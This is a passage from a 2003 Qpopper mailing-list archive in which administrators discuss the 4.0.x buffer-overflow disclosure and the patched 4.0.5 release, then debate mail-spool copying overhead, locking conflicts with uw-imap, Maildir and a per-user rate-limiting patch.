time was spent to get and test patches. This is usual per CERT
and well documented. Also per CERT, knowledge of holes is kept
close until fixes are available.
I, like many, have issues when CERT stays quiet for many months or
closer to a year when vendors are slow to respond (insert 3 letter
vendor here).
Date: Wed, 12 Mar 2003 15:22:49 -0800
From: Randall Gellens <randy at qualcomm dot com>
Subject: Qpopper 4.0.5fc3 available
Qpopper 4.0.5fc3 is available at
<ftp://ftp.qualcomm.com/eudora/servers/unix/popper/beta/>.
The full list of changes from one release to the next is on the FTP
site, at
<ftp://ftp.qualcomm.com/eudora/servers/unix/popper/beta/Changes>.
Changes from 4.0.5fc2 to 4.0.5fc3:
------------------------------
11. Fixed '-no-mime' appended to user name (reported by Florian
Heinz).
12. Fixed response message when identical MDEFs defined multiple
times (reported by Florian Heinz).
Please check this release out and let me know if you encounter any
problems. I plan on releasing 4.0.5 tonight if no problem reports
are received.
--
Randall Gellens
Opinions are personal; facts are suspect; I speak for myself only
-------------- Randomly-selected tag: ---------------
It takes a wonderful brain and exquisite senses to produce a few
stupid ideas. --Santayana
Date: Wed, 12 Mar 2003 14:44:02 -0500
From: Chuck Yerkes <chuck+qpopper at yerkes dot com>
Subject: Re: The Qpopper 4.0.x exploit
I imagine this reply was not intended for the list and
may have been the result of mutt holding onto a reply-to
header on an offlist comment.
I'm not uncomfortable with anything said, it's just irrelevant
to this list and I apologize for it ending up here as a
result of my initial message, if that was the case.
Quoting Alan Brown (alanb at digistar dot com):
> On Wed, 12 Mar 2003, Chuck Yerkes wrote:
>
> > I'm not sure if slackware can count as a vendor.
>
> The distribution is sold and there are outfits offering commercial support.
Date: Wed, 12 Mar 2003 15:09:06 -0500
From: Daniel Senie <dts at senie dot com>
Subject: Re: QPopper 4.0.x buffer overflow vulnerability
At 05:15 AM 3/12/2003, Mark wrote:
>----- Original Message -----
>From: "Mike Tancsa" <mike at sentex dot net>
>To: "Subscribers of Qpopper" <qpopper at lists.pensive dot org>
>Sent: Tuesday, March 11, 2003 11:59 PM
>Subject: Fwd: QPopper 4.0.x buffer overflow vulnerability
>
>
> > Does anyone know if there is a patch for this or an updated version in the
> > works ?
> >
> > ---Mike
>
>
>I dunno; the source of the exploit does not even compile on FreeBSD 4.7R, so
>I cannot check the vulnerability, even. :( They say there is a 4.0.5fc2
>build, but I will not install a beta version just for one day.
I tested out the 4.0.5fc2 last evening and it's working well. From what
Randall told me last night, I expect the 4.0.5 will be identical to the
4.0.5fc2.
Dan
Date: Thu, 13 Mar 2003 14:27:42 +1300
From: Simon Byrnand <simon at igrin.co dot nz>
Subject: Re: Avoiding copy-to-.luser.pop-and-back-to-luser spool I/O
At 12:23 12/03/03 -0800, Greg Earle wrote:
>Chris Shenton wrote:
> > Greg Earle <earle at isolar.DynDNS dot ORG> writes:
> >
> >> But we have these few recalcitrant users who don't seem to know that "Keep
> >> Messages On The Server" is bad. Really Bad. Especially when these few
> >> people have mail spool files that are over 50 Mbytes in size. Some of
> >> them even closer to 100 Mbytes (or over).
> >
> > IMHO users do this not because they're trying to be butt-heads, but
> > because they're trying to get work done. If their mail is sitting on
> > their desktop at work, they can't access it on the road. etc.
>
>The small group of recalcitrants is made up of a couple of people that might
>fit that category, but the others are just lazy non-mobile astronomers :-)
>
> >> Naturally, every time these people POP in, the system goes into complete
> >> I/O and CPU starvation mode as all cycles get used up copying their huge
> >> mail spools to /var/mail/.luser.pop and then back again to
> /var/mail/luser.
> >
> > Is this just when a user deletes a message? Or even when they just
> > read a message (does the pop server have to touch the message content
> > to update attributes like Status?). Either way, expensive I admit.
>
>I'm not sure - all I know is that when I'm actually watching, the load
>average jumps up to 3 or 4, I clamp a truss on the qpopper processes and
>sure enough, they're doing the luser -> .luser.pop -> luser copies. Then
>I start to get complaints from others about how "the POP server is sluggish".
I see the same problem from time to time - on a PIII-800. A user accessing
a spool file >50MB causes IO starvation while the copying is going on and
the load average shoots up, making the machine quite sluggish. If you find
a solution I'd be interested to know what it is....
Regards,
Simon
Date: Wed, 12 Mar 2003 17:36:31 -0500
From: Chuck Yerkes <chuck+qpopper at yerkes dot com>
Subject: Re: The Qpopper 4.0.x exploit
my $0.015 (recession and all).
try to read that cucipop code. ugh.
Quoting Jerry (jerry at fnord dot org):
> my $0.02, replace qpopper w/ cucipop.
>
> http://freshmeat.net/projects/cucipop/?topic_id=34
>
> Good luck!
>
> JR
>
> At 04:49 PM 3/11/2003, Alan W. Rateliff, II wrote:
> >----- Original Message -----
> >From: "Brad Stockdale" <brad at greenepa dot net>
> >To: "Subscribers of Qpopper" <qpopper at lists.pensive dot org>
> >Sent: Tuesday, March 11, 2003 4:45 PM
> >Subject: Re: The Qpopper 4.0.x exploit
> >
> >> Hello all,
> >>
> >> I'm sure by now you all have heard that there is a Qpopper 4.0.x
> >> exploit going around... (If not, it was posted to bugtraq sometime this
> >> morning I believe -- Should be findable on the bugtraq archives)
> >
> >> I was just wondering if anyone had a temporary or permanent fix for
> >the
> >> problem?
> >
> >What really irks me is that we shouldn't have to ask this question. I
> >don't
> >know what the order of events are, but it seems to me that this
> >vulnerability was made public with a POC exploit before Qualcomm was given
> >time to inform us and supply a patch.
> >
> >As someone admining a great number of servers running QPopper, I'm more
> >than
> >a little pissed about this. I guess having more information would be
> >helpful, but my immediate complaint is founded.
> >
> >>From what I understand, it's mitigated some by requiring a valid username
> >and password. That eases my worries somewhat.
> >
> >Anyone else?
> >
> >--
> > Alan W. Rateliff, II : RATELIFF.NET
> > Independent Technology Consultant : alan2 at rateliff dot net
> > (Office) 850/350-0260 : (Mobile) 850/559-0100
> >-------------------------------------------------------------
> >[System Administration][IT Consulting][Computer Sales/Repair]
Date: Wed, 12 Mar 2003 18:21:49 -0800
From: Randall Gellens <randy at qualcomm dot com>
Subject: Re: QPopper 4.0.x buffer overflow vulnerability
At 3:09 PM -0500 3/12/03, Daniel Senie wrote:
> 4.0.5 will be identical to the 4.0.5fc2
A few minor changes. A better fix for the Qsnprintf bug, two minor
bugs fixed, and copyright updates.
--
Randall Gellens
Opinions are personal; facts are suspect; I speak for myself only
-------------- Randomly-selected tag: ---------------
Vous etes ici
Date: Wed, 12 Mar 2003 18:41:52 -0800
From: Randall Gellens <randy at qualcomm dot com>
Subject: Qpopper 4.0.5 (final) available
Qpopper 4.0.5 (final) is available at
<ftp://ftp.qualcomm.com/eudora/servers/unix/popper/>.
The full list of changes from one release to the next is on the FTP
site, at <ftp://ftp.qualcomm.com/eudora/servers/unix/popper/Changes>.
Changes from 4.0.4 to 4.0.5:
----------------------------
1. Add debug trace call with OpenSSL library version.
2. Added 'tls-options' configuration file option.
3. Added 'tls-workarounds' boolean option.
4. STLS errors (except for timeout) no longer fatal.
5. Added sample xinetd configuration file.
6. Additional checks for networking libraries.
7. Pick up LDFLAGS from environment, if set.
8. Added '--enable-32-bit' and '--enable-64-bit'
9. Applied patch from Jeremy Chadwick to fix pathname trimming in
standalone mode.
10. Fixed (non-root) buffer overflow.
11. Fixed '-no-mime' appended to user name (reported by Florian
Heinz).
12. Fixed response message when identical MDEFs defined multiple
times (reported by Florian Heinz).
--
Randall Gellens
Opinions are personal; facts are suspect; I speak for myself only
-------------- Randomly-selected tag: ---------------
There is always an easy solution to every human problem -- neat,
plausible, and wrong. --H.L. Mencken
Date: Wed, 12 Mar 2003 20:18:28 -0500 (EST)
From: Chip Old <fold at bcpl dot net>
Subject: Re: Avoiding copy-to-.luser.pop-and-back-to-luser spool I/O overhead?
On Wed, 12 Mar 2003 12:42 -0500, Chris Shenton wrote:
> Greg Earle <earle at isolar.DynDNS dot ORG> writes:
>
> > But we have these few recalcitrant users who don't seem to know that
> > "Keep Messages On The Server" is bad. Really Bad. Especially when
> > these few people have mail spool files that are over 50 Mbytes in
> > size. Some of them even closer to 100 Mbytes (or over).
>
> IMHO users do this not because they're trying to be butt-heads, but
> because they're trying to get work done. If their mail is sitting on
> their desktop at work, they can't access it on the road. Etc.
It depends on who your users are and what their mail reading needs are.
In an ISP environment catering to the home user (our situation) there is
very seldom any reason to leave mail on the server, but a number of users
do it anyway, refuse to be educated otherwise, but complain bitterly when
it takes forever to get mail due to their grossly oversized mail spools.
In a business or governmental environment there may be a need to access
the same mail from several locations, but IMHO IMAP is a better solution
in that case.
--
Chip Old (Francis E. Old) E-Mail: fold at bcpl dot net
Manager, BCPL Network Services Phone: 410-887-6180
Manager, BCPL.NET Internet Services FAX: 410-887-2091
320 York Road
Towson, MD 21204 USA
Date: Thu, 13 Mar 2003 00:30:46 -0800
From: Kenneth Porter <shiva at sewingwitch dot com>
Subject: Re: the use of `tempnam' is dangerous, better use `mkstemp'
--On Wednesday, March 12, 2003 8:16 AM -0500 Daniel Senie <dts at senie dot com>
wrote:
> tempnam is POTENTIALLY dangerous if it isn't used correctly. In this
> case, the usage is fine. The warning from the compiler is overbroad.
Perhaps the build rule for that file can echo an "ignore following warning"
message to deal with this FAQ. Unless there's some #pragma that can
suppress that warning with suitable comments to explain why it's being used.
Date: Thu, 13 Mar 2003 01:44:24 -0800
From: Kenneth Porter <shiva at sewingwitch dot com>
Subject: Re: Qpopper 4.0.5 (final) available
--On Wednesday, March 12, 2003 6:41 PM -0800 Randall Gellens
<randy at qualcomm dot com> wrote:
> Qpopper 4.0.5 (final) is available at
> <ftp://ftp.qualcomm.com/eudora/servers/unix/popper/>.
Matching RPM (Red Hat 7.2 with DRAC support) and SRPM here:
<http://www.sewingwitch.com/ken/SRPMS/qpopper-4.0.5-1.i386.rpm>
<http://www.sewingwitch.com/ken/SRPMS/qpopper-4.0.5-1.src.rpm>
I recommend rebuilding from the SRPM to match your system.
Date: Thu, 13 Mar 2003 14:45:04 +1300
From: Simon Byrnand <simon at igrin.co dot nz>
Subject: Fwd: Re: Avoiding copy-to-.luser.pop-and-back-to-luser spool
>Date: Thu, 13 Mar 2003 14:27:42 +1300
>To: <qpopper at lists.pensive dot org>
>From: Simon Byrnand <simon at igrin.co dot nz>
>Subject: Re: Avoiding copy-to-.luser.pop-and-back-to-luser spool I/O
>overhead?
>
>At 12:23 12/03/03 -0800, Greg Earle wrote:
>>Chris Shenton wrote:
>> > Greg Earle <earle at isolar.DynDNS dot ORG> writes:
>> >
>> >> But we have these few recalcitrant users who don't seem to know that
>> "Keep
>> >> Messages On The Server" is bad. Really Bad. Especially when these few
>> >> people have mail spool files that are over 50 Mbytes in size. Some of
>> >> them even closer to 100 Mbytes (or over).
>> >
>> > IMHO users do this not because they're trying to be butt-heads, but
>> > because they're trying to get work done. If their mail is sitting on
>> > their desktop at work, they can't access it on the road. etc.
>>
>>The small group of recalcitrants is made up of a couple of people that might
>>fit that category, but the others are just lazy non-mobile astronomers :-)
>>
>> >> Naturally, every time these people POP in, the system goes into complete
>> >> I/O and CPU starvation mode as all cycles get used up copying their huge
>> >> mail spools to /var/mail/.luser.pop and then back again to
>> /var/mail/luser.
>> >
>> > Is this just when a user deletes a message? Or even when they just
>> > read a message (does the pop server have to touch the message content
>> > to update attributes like Status?). Either way, expensive I admit.
>>
>>I'm not sure - all I know is that when I'm actually watching, the load
>>average jumps up to 3 or 4, I clamp a truss on the qpopper processes and
>>sure enough, they're doing the luser -> .luser.pop -> luser copies. Then
>>I start to get complaints from others about how "the POP server is sluggish".
>
>I see the same problem from time to time - on a PIII-800. A user accessing
>a spool file >50MB causes IO starvation while the copying is going on and
>the load average shoots up, making the machine quite sluggish. If you find
>a solution I'd be interested to know what it is....
Just looking at the possibility of using "server mode" for qpopper to solve
the above mentioned problem, but would I be right in thinking that its then
unsafe to have uw-imap providing imap access to the same mail spools ?
In server mode, does qpopper lock the mail spool the entire time the pop3
session is open ? Presumably if it did it would cause procmail to have to
wait to deliver a message while a users spool is open ?
Anybody have any stories to share ?
Regards,
Simon
Subject: Re: Fwd: Re: Avoiding copy-to-.luser.pop-and-back-to-luser spool I/O
Date: Thu, 13 Mar 2003 12:05:36 +0100 (MET)
From: Eric Luyten <Eric.Luyten at vub.ac dot be>
> Just looking at the possibility of using "server mode" for qpopper to solve
> the above mentioned problem, but would I be right in thinking that its then
> unsafe to have uw-imap providing imap access to the same mail spools ?
Yes !
We (25,000 users, 65 GB of mailboxes, mixed POP3 and IMAP4 spool access
with a few shell users thrown in for good measure) are bitten by this a
couple of times per week.
The issue has emerged and re-emerged on this list for a number of times.
Eric.
Date: Thu, 13 Mar 2003 08:47:50 -0500 (EST)
From: Alan Brown <alanb at digistar dot com>
Subject: Re: Fwd: Re: Avoiding copy-to-.luser.pop-and-back-to-luser spool
On Thu, 13 Mar 2003, Eric Luyten wrote:
> > Just looking at the possibility of using "server mode" for qpopper to solve
> > the above mentioned problem, but would I be right in thinking that its then
> > unsafe to have uw-imap providing imap access to the same mail spools ?
>
> Yes !
>
> We (25,000 users, 65 GB of mailboxes, mixed POP3 and IMAP4 spool access
> with a few shell users thrown in for good measure) are bitten by this a
> couple of times per week.
The issue isn't that the programs don't play nice together, bt that they
don't use the same locking methods.
They can be tweaked to behave, but it's probably more effort than it's
worth.
Investigate installing courier-imap(+ssl+pop3) as a unified answer... :-)
(And for those wanting maildir format, it supports that too)
I'm using it on one server, mainly so that we were able to put
squirrelmail on the front end as a webmail interface. I've found it very
smooth and low maintenance once running.
AB
Date: Thu, 13 Mar 2003 06:10:14 -0800
From: Kenneth Porter <shiva at sewingwitch dot com>
Subject: Re: Fwd: Re: Avoiding copy-to-.luser.pop-and-back-to-luser spool
--On Thursday, March 13, 2003 8:47 AM -0500 Alan Brown <alanb at digistar dot com>
wrote:
> Investigate installing courier-imap(+ssl+pop3) as a unified answer... :-)
IIRC, Crispen says that Courier violates the IMAP standard. Is that still
true?
Date: Thu, 13 Mar 2003 09:50:21 -0500 (EST)
From: Alan Brown <alanb at digistar dot com>
Subject: Re: Fwd: Re: Avoiding copy-to-.luser.pop-and-back-to-luser spool
On Thu, 13 Mar 2003, Kenneth Porter wrote:
> > Investigate installing courier-imap(+ssl+pop3) as a unified answer... :-)
>
> IIRC, Crispen says that Courier violates the IMAP standard. Is that still
> true?
No client I've tested it with has gotten upset, so if it still does, the
issue is minor.
Date: Thu, 13 Mar 2003 06:56:14 -0800 (PST)
From: The Little Prince <thelittleprince at asteroid-b612 dot org>
Subject: qpopper-mysql-0.10 release
My latest qpopper-mysql patch is now available for download at:
http://asteroid-b612.org/software/#qpopper
Changes in this release are listed below.
qpopper-mysql is a patch to qpopper 4.0.x adding support for mysql
authentication, virtual domains, and Maildir-style mailboxes.
Changes from 0.9 to 0.10:
---------------------------
1. Updated patch to work against qpopper 4.0.5
--Tony
.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-.
Anthony J. Biacco Network Administrator/Engineer
thelittleprince at asteroid-b612.org http://www.asteroid-b612 dot org
"This will prove a brave kingdom to me,
where I shall have my music for nothing"
.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-.
Date: Thu, 13 Mar 2003 15:09:46 +0000 (GMT)
From: David Lee <t.d.lee at durham.ac dot uk>
Subject: Re: Fwd: Re: Avoiding copy-to-.luser.pop-and-back-to-luser spool
On Thu, 13 Mar 2003, Eric Luyten wrote:
> > Just looking at the possibility of using "server mode" for qpopper to solve
> > the above mentioned problem, but would I be right in thinking that its then
> > unsafe to have uw-imap providing imap access to the same mail spools ?
>
> Yes !
>
> We (25,000 users, 65 GB of mailboxes, mixed POP3 and IMAP4 spool access
> with a few shell users thrown in for good measure) are bitten by this a
> couple of times per week.
Remember that UW (University of Washington) "imap" also includes a pop
daemon and a local delivery agent.
We (marginally smaller-scale organisation) used to run qpopper, uw-imap
and Sun /bin/mail delivery. Likewise, we suspected we had problems from
this "pick'n'mix", probably caused by inconsistent locking.
So a few years ago we then switched our pop and local-delivery to the UW
products, with their consistent c-client library code. To the best of our
knowledge such problems have disappeared.
--
: David Lee I.T. Service :
: Systems Programmer Computer Centre :
: University of Durham :
: http://www.dur.ac.uk/t.d.lee/ South Road :
: Durham :
: Phone: +44 191 374 2882 U.K. :
Subject: Re: Fwd: Re: Avoiding copy-to-.luser.pop-and-back-to-luser spool I/O
Date: Thu, 13 Mar 2003 18:21:08 +0100 (MET)
From: Eric Luyten <Eric.Luyten at vub.ac dot be>
> On Thu, 13 Mar 2003, Kenneth Porter wrote:
>
> > > Investigate installing courier-imap(+ssl+pop3) as a unified answer... :-)
> >
> > IIRC, Crispen says that Courier violates the IMAP standard. Is that still
> > true?
>
> No client I've tested it with has gotten upset, so if it still does, the
> issue is minor.
From my visits to comp.mail.imap I remember this ongoing "standard
violation" discussion stems from the fact that there are essentially
two IMAP server/client implementation schools who interpret a number
of (acknowledged) RFC text incoherencies in different ways, producing
one server/clients set that works fine and another one which does equally
fine, but you're more or less guaranteed to run into trouble when you
mix them and use any of the disputed features.
I recall an emotional (people who have read Usenet articles written by
M. Crispin will interpret this correctly] discussion whether the range
"[10 .. 6]" contained 0 or 5 items.
Eric.
Date: Thu, 13 Mar 2003 14:16:23 -0500 (EST)
From: Alan Brown <alanb at digistar dot com>
Subject: Re: Fwd: Re: Avoiding copy-to-.luser.pop-and-back-to-luser spool
On Thu, 13 Mar 2003, Eric Luyten wrote:
> >From my visits to comp.mail.imap I remember this ongoing "standard
> violation" discussion stems from the fact that there are essentially
> two IMAP server/client implementation schools who interpret a number
> of (acknowledged) RFC text incoherencies in different ways
In that case, the correct thing to do is to fix the RFC, not to have
holy wars about varying interpretation by the clients.
> producing one server/clients set that works fine and another one which
> does equally fine, but you're more or less guaranteed to run into
> trouble when you mix them and use any of the disputed features.
I had noticed that squirrelmail allows admins to select which of 4 imap
servers was being used, but that was mostly explained away by the local
storage format.
Hopefully it won't take 20 years to produce fixups.(*)
(*)RFC821/822 -> 2821/2822
(*)RFC1036 -> still-unofficial-but-used-as-canonical-anyway son-of-rfc1036
AB
Date: Fri, 14 Mar 2003 09:46:30 +1300
From: Simon Byrnand <simon at igrin.co dot nz>
Subject: Re: Fwd: Re: Avoiding copy-to-.luser.pop-and-back-to-luser
At 12:05 13/03/03 +0100, Eric Luyten wrote:
> > Just looking at the possibility of using "server mode" for qpopper to
> solve
> > the above mentioned problem, but would I be right in thinking that its
> then
> > unsafe to have uw-imap providing imap access to the same mail spools ?
>
>Yes !
>
>We (25,000 users, 65 GB of mailboxes, mixed POP3 and IMAP4 spool access
>with a few shell users thrown in for good measure) are bitten by this a
>couple of times per week.
>
>The issue has emerged and re-emerged on this list for a number of times.
And what is your Qpopper config ? Do you continue to use server mode even
though this could be the reason ?
I did a test of my own, and as I suspected, with server mode enabled, if I
log into a pop3 session, then delete a message from the middle of the spool
via imap, when the pop3 session terminates the spool is pretty much hosed.
However, with server mode disabled there aren't any problems that I'm aware of.
(Except for the obvious - which is that during a pop3 session, imap wont
see the messages, because they're no longer in the spool until the pop3
session is over - but there is no corruption)
Regards,
Simon
Subject: Re: Fwd: Re: Avoiding copy-to-.luser.pop-and-back-to-luser spool
From: Chris Shenton <Chris.Shenton at hq.nasa dot gov>
Date: Thu, 13 Mar 2003 16:32:21 -0500
Kenneth Porter <shiva at sewingwitch dot com> writes:
> IIRC, Crispen says that Courier violates the IMAP standard. Is that still
> true?
I read that quote (from a couple years back) and he doesn't say how he
believes Courier IMAP violates RFC -- he just asserts that it does.
He doesn't approve of Maildir, so anything Maildir-related is bad in
his view.
Subject: Re: Avoiding copy-to-.luser.pop-and-back-to-luser spool I/O
From: Chris Shenton <Chris.Shenton at hq.nasa dot gov>
Date: Thu, 13 Mar 2003 16:24:31 -0500
Simon Byrnand <simon at igrin.co dot nz> writes:
> I see the same problem from time to time - on a PIII-800. A user
> accessing a spool file >50MB causes IO starvation while the copying is
> going on and the load average shoots up, making the machine quite
> sluggish. If you find a solution I'd be interested to know what it
> is....
Same here, same problem: big monolithic mail spool files.
I have a solution which uses Maildir/ to get around this. Grafts
maildrop into sendmail for local Maildir delivery. Uses qmail's pop3d
for mailboxing and POP3 protocol, with authentication by a third-party
APOP auth module which just plugs in. Have some code to migrate
mailboxes, passwords, blah blah blah. Just haven't put it into
production yet :-(
Beauty of this is that checking for new mail is just a directory
scan. Deleting a message is just an unlink() call. Message
attributes are part of the filename, so the message file doesn't need
to be rewritten all the time. In fact, messages files are never read
or written, except to show their contents to the user.
Date: Fri, 14 Mar 2003 10:32:13 +1300
From: Simon Byrnand <simon at igrin.co dot nz>
Subject: Re: Fwd: Re: Avoiding copy-to-.luser.pop-and-back-to-luser
At 08:47 13/03/03 -0500, Alan Brown wrote:
>On Thu, 13 Mar 2003, Eric Luyten wrote:
>
> > > Just looking at the possibility of using "server mode" for qpopper to
> solve
> > > the above mentioned problem, but would I be right in thinking that
> its then
> > > unsafe to have uw-imap providing imap access to the same mail spools ?
> >
> > Yes !
> >
> > We (25,000 users, 65 GB of mailboxes, mixed POP3 and IMAP4 spool access
> > with a few shell users thrown in for good measure) are bitten by this a
> > couple of times per week.
>
>The issue isn't that the programs don't play nice together, bt that they
>don't use the same locking methods.
Well I don't think thats true from the investigating I've done. As long as
you don't use server mode in qpopper you should be ok. They *do* use
compatible locking methods, because uw-imap uses the same locking scheme as
procmail. ( .lock file, and kernel locking on top of that)
At the very least, qpopper, procmail, and uw-imap all honour the .lock file
locking method. In non-server mode, while a pop3 session is open the mail
spool is moved to the temp drop file and worked on from there. procmail and
uw-imap are unable to upset this temp drop file and cause qpopper to lose
consistancy.
Meanwhile messages can come and go in the real spool (procmail and uw-imap)
without incident. Of course uw-imap temporarily won't see messages that are
in the temp drop file until the spool is copied back. During the copying
back process qpopper locks the spool and cats the temp drop spool and the
actual spool back together so that newly arrived messages aren't lost, then
unlocks the spool again.
The problem with server mode, is that it makes the *assumption* that
nothing will touch the spool file during a pop3 session *except* new
messages being appended to the end of the spool. (Eg procmail delivering
another message) Deleting any message in the spool breaks this assumption,
and all hell breaks loose.
Furthermore, qpopper does not lock the mail spool during the pop3 session,
so any other program such as uw-imap (and not just uw-imap) can't possibly
know to leave the spool alone. So basically qpoppers server mode is a
*deliberate* breaking of locking rules to get a performance boost, in a way
that you get away with when the only other program that accesses the rule
simply appends new messages to the end.
>They can be tweaked to behave, but it's probably more effort than it's
>worth.
>
>Investigate installing courier-imap(+ssl+pop3) as a unified answer... :-)
>(And for those wanting maildir format, it supports that too)
I checked out courier-imap a while ago and as far as I could see, it didn't
support unix mail spool format mailboxes... (eg all messages in one file)
Regards,
Simon
Date: Thu, 13 Mar 2003 16:47:33 -0600
From: David Champion <dgc at uchicago dot edu>
Subject: Re: Fwd: Re: Avoiding copy-to-.luser.pop-and-back-to-luser spool I/O overhead?
* On 2003.03.12, in <677438215614874241165 at lists.pensive dot org>,
* "Simon Byrnand" <simon at igrin.co dot nz> wrote:
> >>>
> >>>> But we have these few recalcitrant users who don't seem to know that
> >>"Keep
> >>>> Messages On The Server" is bad. Really Bad. Especially when these few
> >>>> people have mail spool files that are over 50 Mbytes in size. Some of
> >>>> them even closer to 100 Mbytes (or over).
Forgive me for jumping into the middle of a discussion here without
reading all the background. I just joined the list, and had planned to
wait and get cozy before posting, but what I wanted to post about is
immediately relevant to this issue.
> >>> IMHO users do this not because they're trying to be butt-heads, but
> >>> because they're trying to get work done. If their mail is sitting on
> >>> their desktop at work, they can't access it on the road. etc.
> >>
> >>The small group of recalcitrants is made up of a couple of people that
> >>might
> >>fit that category, but the others are just lazy non-mobile astronomers
> >>:-)
That's what we've found, too, on both counts. A lot of our users have
legitimate needs for leaving mail on the server, so we don't want to
turn it off -- but some of those, and a lot of the others, are just
oblivious or obstinate.
> >I see the same problem from time to time - on a PIII-800. A user accessing
> >a spool file >50MB causes IO starvation while the copying is going on and
> >the load average shoots up, making the machine quite sluggish. If you find
> >a solution I'd be interested to know what it is....
>
> Just looking at the possibility of using "server mode" for qpopper to solve
We've enabled server mode, but it had limited effect -- there's still
a maildrop copy for each connect. To solve the trouble for the longer
term, and in a flexible way, we went another route: we've patched
qpopper to implement a kind of rate limiting on heavy users.
In essence, what we're now able to do is to enforce a certain delay
between POP checks, and to make the length of this delay variable per
user, dependent on how much mail is in their inbox. We can adjust the
aggressiveness of this penalty on the fly, since it can be tuned in the
popper.conf or on the command line. When we have strange server trouble
we sometimes ratchet it up a little. This lets us continue providing
service, just on a reduced schedule, while we find and implement other
ways of improving performance.
I've written up a web page describing the patch and the associated
query/reset tool. Please feel free to download and have a look. This is
not supported by the Univerity of Chicago, of course, but we've been
using it on our central e-mail server for about 10 months, without
revision, and without regret.
http://home.uchicago.edu/~dgc/sw/qpopper/
At one time I produced usage tables indicating something like that 10%
of our users were using 60% of server I/O resources, solely through the
frequency of their mail checks. This patch went a long way toward bring
those users back in line, without penalizing users who just leave a
little mail on the server.
The biggest social cost to us was that the POP authentication failure
caused Eudora to forget people's passwords, but since we encourage users
not to make Eudora remember their passwords anyway, that was a failure
we could easily live with.
--
-D. dgc at uchicago dot edu NSIT University of Chicago
"The whole thrust of the text adventure was one picture was worth
a thousand words and we would rather give you the thousand words."
- Dave Lebling, Implementor
Date: Thu, 13 Mar 2003 17:45:13 -0500 (EST)
From: Alan Brown <alanb at digistar dot com>
Subject: Re: Fwd: Re: Avoiding copy-to-.luser.pop-and-back-to-luser spool
On Thu, 13 Mar 2003, Chris Shenton wrote:
> I read that quote (from a couple years back) and he doesn't say how he
> believes Courier IMAP violates RFC -- he just asserts that it does.
A lot of such claims seem tohave no substance...
> He doesn't approve of Maildir, so anything Maildir-related is bad in
> his view.
Maildir seems like an ugly thing, but I don't think the guys who devised
MMDF/Mbox format 20+ years ago were thinking of mailboxes with 5,000
messages totalling 2Gb in them.
In the old days there were good reasons for using Mbox format (file
handle starvation and limits on the total number of files in a directory
(or massive slowdowns when the number of files in a directory exceeded
512)), but large user mailboxes are a _massive_ performance hit using
mbox format, especially when users are leaving their mail on the server
and deleting messages from the middle of the spool - the messages on
this list talking about machines with plenty of CPU and ram being I/O
bound while copying files in non-server mode, or CPU bound when users
delete files are testimony to that.
I was initially leery about Maildir format, but I have some to
appreciate that it is an _appropriate_ format for the purpose of leaving
thousands (or tens of thousands) of messages on the server in an
individual mailbox/folder. (No matter it feels like an ugly throwback to
my days of doing UUCP mail with Waffle 1.62 and its one message per file
format)
Times change. Mbox format is appropriate for small systems or for ISPs
who don't let users keep mail on the server, but Maildir quite simply
works better(*) for systems where users are holding large quantities of
mail on the server.
(*) Less CPU use, less ram usage, less IO grinding.
Flame away. I still use qpopper on small systems, but there is a limit
beyond which it's unsuitable for use - and that includes anything larger
than a small ISP.
AB
Date: Thu, 13 Mar 2003 17:33:47 -0500 (EST)
From: Alan Brown <alanb at digistar dot com>
Subject: Re: Fwd: Re: Avoiding copy-to-.luser.pop-and-back-to-luser spool
On Fri, 14 Mar 2003, Simon Byrnand wrote:
> I checked out courier-imap a while ago and as far as I could see, it didn't
> support unix mail spool format mailboxes... (eg all messages in one file)
You're right, it doesn't.
Courier is maildir based, which with large mailboxes is a big
performance gain - especially if a journalling btree-based filesystem
such as Reiserfs is used. (Reiserfs should be a massive win on nntp
spools and in mqueue partitions. It's stable, but has some hardware
gotchas which need to be watched out for on IDE systems - if your system
disables DMA on a piix3 controller, LEAVE IT DISABLED - DMA is hosed on
the early piix* chipsets and DMA write errors will result in effectively
complete filesystem trashing.)
Cyrus (another Imap/pop solution) goes one step further and uses a
(effectively proprietary) database format with its own MDA
Yes, if you're going to go down this path, you need to stop people using
local-spool-reading clients and nfs mounts, but the performance and
stability gains are worth it (Not to mention that mail can now be
entirely handled on a machine which has _zero_ user shells on it, so can
be locked down that much tighter, security-wise...)
Subject: Re: Fwd: Re: Avoiding copy-to-.luser.pop-and-back-to-luser spool I/O
Date: Thu, 13 Mar 2003 16:39:26 -0800
From: Greg Earle <earle at isolar.DynDNS dot ORG>
> * On 2003.03.12, in <677438215614874241165 at lists.pensive dot org>,
> * "Simon Byrnand" <simon at igrin.co dot nz> wrote:
>>>>>
>>>>>> But we have these few recalcitrant users who don't seem to know that
>>>>>> "Keep Messages On The Server" is bad. Really Bad. Especially when
>>>>>> these few people have mail spool files that are over 50 Mbytes in size.
>>>>>> Some of them even closer to 100 Mbytes (or over).
>
> Forgive me for jumping into the middle of a discussion here without
> reading all the background. I just joined the list, and had planned to
> wait and get cozy before posting, but what I wanted to post about is
> immediately relevant to this issue.
>
>>>>> IMHO users do this not because they're trying to be butt-heads, but
>>>>> because they're trying to get work done. If their mail is sitting on
>>>>> their desktop at work, they can't access it on the road. etc.
>>>>
>>>> The small group of recalcitrants is made up of a couple of people that
>>>> might fit that category, but the others are just lazy non-mobile
>>>> astronomers :-)
>
> That's what we've found, too, on both counts. A lot of our users have
> legitimate needs for leaving mail on the server, so we don't want to
> turn it off -- but some of those, and a lot of the others, are just
> oblivious or obstinate.
>
>>> I see the same problem from time to time - on a PIII-800. A user accessing
>>> a spool file >50MB causes IO starvation while the copying is going on and
>>> the load average shoots up, making the machine quite sluggish. If you find
>>> a solution I'd be interested to know what it is....
>>
>> Just looking at the possibility of using "server mode" for qpopper to solve
>
> We've enabled server mode, but it had limited effect -- there's still
> a maildrop copy for each connect. To solve the trouble for the longer
> term, and in a flexible way, we went another route: we've patched
> qpopper to implement a kind of rate limiting on heavy users.
>
> In essence, what we're now able to do is to enforce a certain delay
> between POP checks, and to make the length of this delay variable per
> user, dependent on how much mail is in their inbox. We can adjust the
> aggressiveness of this penalty on the fly, since it can be tuned in the
> popper.conf or on the command line. When we have strange server trouble
> we sometimes ratchet it up a little. This lets us continue providing
> service, just on a reduced schedule, while we find and implement other
> ways of improving performance.
>
> I've written up a web page describing the patch and the associated
> query/reset tool. Please feel free to download and have a look. This is
> not supported by the Univerity of Chicago, of course, but we've been
> using it on our central e-mail server for about 10 months, without
> revision, and without regret.
>
